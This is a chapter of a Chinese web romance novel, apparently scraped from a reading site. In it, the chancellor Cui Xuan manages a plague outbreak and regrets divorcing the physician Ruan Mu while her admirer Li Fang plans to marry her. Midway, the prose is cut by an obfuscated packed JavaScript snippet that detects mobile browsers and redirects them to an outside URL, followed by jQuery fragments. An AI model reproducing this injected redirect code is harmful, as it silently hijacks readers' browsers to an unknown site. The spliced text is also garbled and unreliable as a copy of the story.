47. 第 47 章

作品:《和离后,丞相他追悔莫及

    阮慕愣了一下,“我...我想早些...”


    崔煊顿了顿,看了一眼她苍白的脸色,“外头,有些地方,控制得并不好,”


    并不是人人都如她这般....


    “在迁都的时候,发生这样的事情,皇上也已经知道,这被视为不详,若是被人传开,皇帝掌权还不久,所以,这件事情,需要尽快解决。”崔煊低头,认真看着她,一字一字低声解释。


    没有说得十分明白,可是也已经超出了他能说的范围。


    很多事情,都是无奈的。


    阮慕怔住,明白了最快的解决方法,便是她最不想看到的那一种。想到那惨状,阮慕觉得有些无法呼吸,缓了片刻后,才缓缓道,似确认也似不敢相信,


    “所以....”


    “所以,我会尽力争取时间。”


    阮慕眼睛一亮,抬头,不可置信看着他,不是那那样惨烈的方式,而是?


    “可你,要吃饭也要睡觉....”崔煊这话还没有说完,外头突然响起声音,


    “阮阮,东西我拿来了。”


    李昉罩着自己口鼻,脚步急匆匆地进来。


    阮慕几乎立刻要奔过去,却又突然意识到崔煊还在这里,


    阮慕郑重地福了一礼,“多谢崔大人。”


    “应当是,我多谢于你。”


    是那些病人,要多谢她,她在用尽全力希望拯救这些不幸的病人。


    “这是我分内的事。”


    阮慕说完,便立刻奔了过去,同他说话的时候,她礼貌客气,保持着一步的距离,只偶尔才会有娇憨灵动的本性一面,可她跑过去,肩头几乎挨着了李昉。


    语气也随意自然,“怎那样慢,我瞧瞧。”


    “外头现在关卡多着呢,我可是冒着风险去的,我可好?”


    阮慕无奈,敷衍他,“好好好,你很好。”


    “那我可是最好的?”他不依不饶。


    阮慕停下,无奈极了,“李昉!”


    “我开玩笑,你看看你都多久没笑了,来多笑笑嘛...”


    两人亲昵说着话。


    崔煊手指下意识攥紧。


    直到阮慕身影已经消失不见,他才收回视线。


    “崔大人。”


    药房李昉进不去,回来的时候,才看到崔煊的身影,立刻便过来行礼。


    崔煊压下心头的那份堵塞,点点头,“李公子怎在此处,李总督知道了,允许么?”


    “我爹知道我过来帮忙,十分赞同呢,更是夸赞阮大夫是女中豪杰,阮大夫在这里夜无法安眠,日日辛苦,我在家也睡不下,还不如来这里陪着她。”李昉说。


    崔煊心口更堵了一些,“李公子,同阮大夫很熟?认识很久了么?”


    李昉连想都不用想,“她初来建邺的路上便碰到,在船上,阮阮救了我妹妹,那是我第一次见她,当时我差点都看傻了。”李昉难得地挠挠头,有些不好意思他,没有想到这位高高在上的崔大人竟是这般的平易近人,竟还同他说这些私人的话,面前的人就是自己偶像般的人物,心里是亲近的,便忍不住多说了几句。


    况且他也觉得过去的阮慕实在受了许多的委屈,怕旁人因过去的时候轻视她,所以总是外人面前夸赞,当然,他内心自然也是这般所想。


    “不瞒大人说,我见她第一次,便想,我若是要成婚,定然要娶阮阮这样的女子,崔大人或许不知,从前阮阮...嫁过人,和离过,大人您想想,阮阮这样好的人,怎会犯什么过错,定然便是那男子眼瞎心盲,我若是能娶到她,睡着了都能笑醒,他竟然还和离?”


    阮慕和离的事情,许多人都是知道的,最初有许多人上门说亲,都是被她用这个理由拒绝的。


    所说说出来,也并没有什么。


    “若是阮阮犯错,那样人品的男子,定然休弃,和离则说明了,是那男子的错,兴许是花天酒地胡作非为....”


    说到一半,李昉突然顿住,突然想到,崔大人这样醉心公事的人,对这些肯定不感兴趣,惨了,他这是不小心便说多了。


    但瞧见他表情,竟似颇动容,还有一种李昉看不出来的情绪,深沉压抑,似乎...


    李昉有些不敢相信自己的眼睛,那是落寞么?


    兴许是被自己打动了?


    他小心翼翼补充,


    “等我日后娶了阮阮,一辈子都不会同她生气,打死也不可能同她和离,男子娶了女子,那便是一生的承诺,要护她一世周全,女子在世上生存实属不易,便说阮阮,当初来建邺的时候,唉...生了一场好大的病,算了,过去的事情,便不说了。”


    “我同阮阮成亲那日,不知崔大人能否赏脸?”


    李昉说完便又觉得自己说多了。


    他仰慕这位少年天才崔大人,总忍不住想和他多说说话。


    还好,看崔大人的表情,倒也没有见怪的意思。


    李昉倒是第一次觉得,这崔大人,还挺近人情的呢,人真好啊。


    崔煊心口像是堵了一块巨大的石头。


    微微出声,却发现声音有些不想他自己的,想说什么,却发觉喉咙发紧得厉害。


    片刻后,他才挤出来几个字,


    “若,有机会的话。”


    李昉高兴极了,“多谢崔大人。”


    “不过,大人也是从京城过来的,从前可有见过阮阮?应当是没有的,不过她从前那个夫婿,兴许崔大人见过,可惜了,我知道的不多,若是我能知道是谁,真想狠狠揍他一顿,不,去一定要叫他看看,现下的阮阮多优秀和厉害,来日我们成亲,定要叫他瞧瞧阮阮多幸福,他自己多眼瞎。”


    崔煊有些无法再听下去。


    “他,自是眼瞎,心盲,是个极坏的人,做错许多的事情....”


    “是吧,崔大人也这般觉得?那...崔大人喜欢怎样的女子?崔夫人定然和崔大人是郎才女貌,琴瑟和鸣的神仙眷侣吧,真是叫人艳羡。”


    崔煊第一次发现,自己有些无法控制自己的表情,本想离开,可脚步顿住,苦涩开口,


    “我...也和离过,现下,未娶妻。”


    李昉立刻怔住,方才他还大胆地骂了一顿同人和离的男人,却没想到,崔大人竟也和离过...


    “我..我...我方才胡说的,但凡婚姻,过不下去也各有对错,像崔大人这样的人,兴许是....”


    崔煊抬头,看向遥远的天际,眼睛又好像没有聚焦,望向虚无缥缈的某处。


    他吸了口气,苦涩无比地说,


    “不,她...无错,她....很好,是我...”崔煊自嘲地惨然一笑,


    “是我,对不住她。”


    李昉错愕。


    看着崔煊已经离开的身影,讪讪地半天都无法回神。


    从来喜怒不形于色的崔大人,方才,那是什么表情,他竟从崔大人的脸上看见了落寞,孤寂,后悔和难过?


    不知道从前发生过何事?不知道那是位怎样的女子,竟叫崔大人这般的人如此念念不忘?


    李昉诧异又好奇。


    最后叹了口气,转头,便看到了阮慕擦着手出来。


    他急忙过去,“崔大人走了。”


    阮慕点头,不甚在意。


    李昉便将今日得知的新奇事情分享,“崔大人从前竟是成婚过,后来又和离的。”


    阮慕的手顿了顿,而后表情没有丝毫变化,“旁人的事,你打听来做什么?”


    “我只是觉得,崔大人真厉害,这样复杂的局面,都能处理得这样好,却不曾想,竟然和离了。”


    阮慕也觉着,像崔煊那样的人,应当娶一个高门贵女的妻子,比方说郡主,她自己当初答应婚事,到底是妨害了他,叫两人都陷入泥潭。


    他现在先来建邺又遇上那许多事情,等日后那许多高门大户皇亲国戚过搬过来,两人便无需也没有机会再相见,这样便极好。


    “崔大人自有良妻相配,哪需要你想那许多。”


    “也是,便是公主,也是相配的。”


    他要娶的人,应当是郡主吧,


    崔煊往外走去,外头几个人,方才是看着李昉进去的,便忍不住说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907066|156628||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起他的事情。


    “这李公子还真是胆大,竟敢去病区里头,这样心系天下,当官定是个好官。”


    “切,你知道什么,那是为了阮大夫。”


    “啊?”


    “你竟是不知,这可是建邺几乎人人都知道的事情了,李公子呀喜欢阮大夫。”


    “可两人身份差别有点大吧...能成吗?阮大夫遇到这样的良配,竟也不动心?怎还不嫁人?莫非是李家不同意?”


    “听说漕运总督给自家公子相看,差点都定了一门亲的,后来却不了了之了,后头也没有再说定亲的事情,想来,莫非是李公子回去说服了父母,竟都是等着阮大夫点头同意?”


    崔煊一眼扫过去,闲话的人愣了一下便立即住了嘴。


    他看了一眼愈发暗沉的天色,宛若他此刻憋闷难解的心绪。


    晚上回去。


    崔煊又见了几个大人,做出了下一步的部署,然后便有闰过来禀告,说是隔壁州府已经有地方在开始挖巨坑。


    崔煊脸色稍加凝重。


    “我休书一封,加急送往京城。”


    “再则,发文书下去,统计重病的人,统一到一个地方安置,每个重病的人,都可以按人头领取抚恤金。”


    “是。”下属领命,立刻下去。


    若是直接下令,保不齐有些官员直接一了百了,都烧个干净,反而上报一个漂亮的数字,残暴地一刀切,又在当地一手遮天,这消息传不出来,他自己反而还升官。


    将重病的人统一到一起,可以降低各地的压力,杜绝各地水平不一的隔离法子,方便统一管理。


    而重病可以领抚恤,便可叫家人不会放弃自家的老弱病残,官府也不会一刀切直接烧干净,这样便拿不到银子。


    这是,只法子只是缓解一时。


    一旦银子当真下发下去,免不了会有人胆大心黑,直接故意叫人染病拿钱。


    而且若一直找不到治疫病的方子,拖下去的确会让事情越来越大。


    所以,他能给的承诺,只是拖延,现下没有旁的法子,只能相信她,相信她可以。


    “大人,用晚膳吧。”


    和荣摆了晚膳。


    崔煊抬头,看了两眼,忽然道,“有艾叶团子么?”


    和荣惊讶,大人是从来不吃这些味道很大东西的,今日怎的?


    “有,有。”他离开命人去做。


    崔煊没有胃口,便想起了那日在山上,她吃着艾团子,两颊鼓鼓,眼睛微微眯起,像一只餍足饱餐的小猫。


    有那样好吃么?他记得味道十足奇怪。


    看着艾团,崔煊连自己都没有注意到,自己嘴角轻轻翘了翘。


    修长如玉的手指拿起一个,轻轻一咬。


    和荣瞧见自己大人竟连吃了两个艾团子,差点惊呼出来。


    其他东西,崔煊却再也吃不下。


    外头突然传来细微的响动,


    “这点小事,怎长得叨扰大人。”


    “可是...下面的人闹起来了,这也是没法子了。”


    崔煊放下手里的东西,问,“怎么了?”


    和荣方才就已经出去打听了,片刻后回来,便禀告说,“外头有人来,说是重病区那边,李公子要在里头歇息,可除了大夫和病人,里头是不许他人留下的,他还要拿些其他不知名的药材进去,说是...是阮大夫要用,可阮大夫已经说了不必,李公子却执意如此。”


    “李公子还说,他已学了许久医术,时常和阮大夫讨教,算是半个大夫呢。”


    崔煊的目光顿了顿,而后道,“便...让他歇在里头罢。”


    他们,本来便是经常相见的。


    也极为熟络,脾性也相合,颇为登对。


    李昉个性跳脱有趣,和她似有许多话可说,不像他,从前,两年加起来同她说的话,恐也不及他们一日所说的。


    便是这样,日子才不枯燥么。


    崔煊又咬了一口艾团子,却是梗在喉咙,费力咽下去,却又堵在了心口,这样陌生和异样的情绪,叫他竟觉得有一分...难受。